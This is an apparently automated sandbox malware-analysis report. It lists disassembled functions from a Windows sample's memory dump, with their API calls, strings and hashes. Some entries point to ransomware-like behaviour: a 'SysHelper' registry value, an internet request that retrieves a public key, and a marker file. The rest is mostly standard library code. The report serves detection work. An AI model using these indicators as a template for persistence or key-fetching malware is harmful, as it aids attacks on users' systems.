Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
, xrefs: 00457482
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

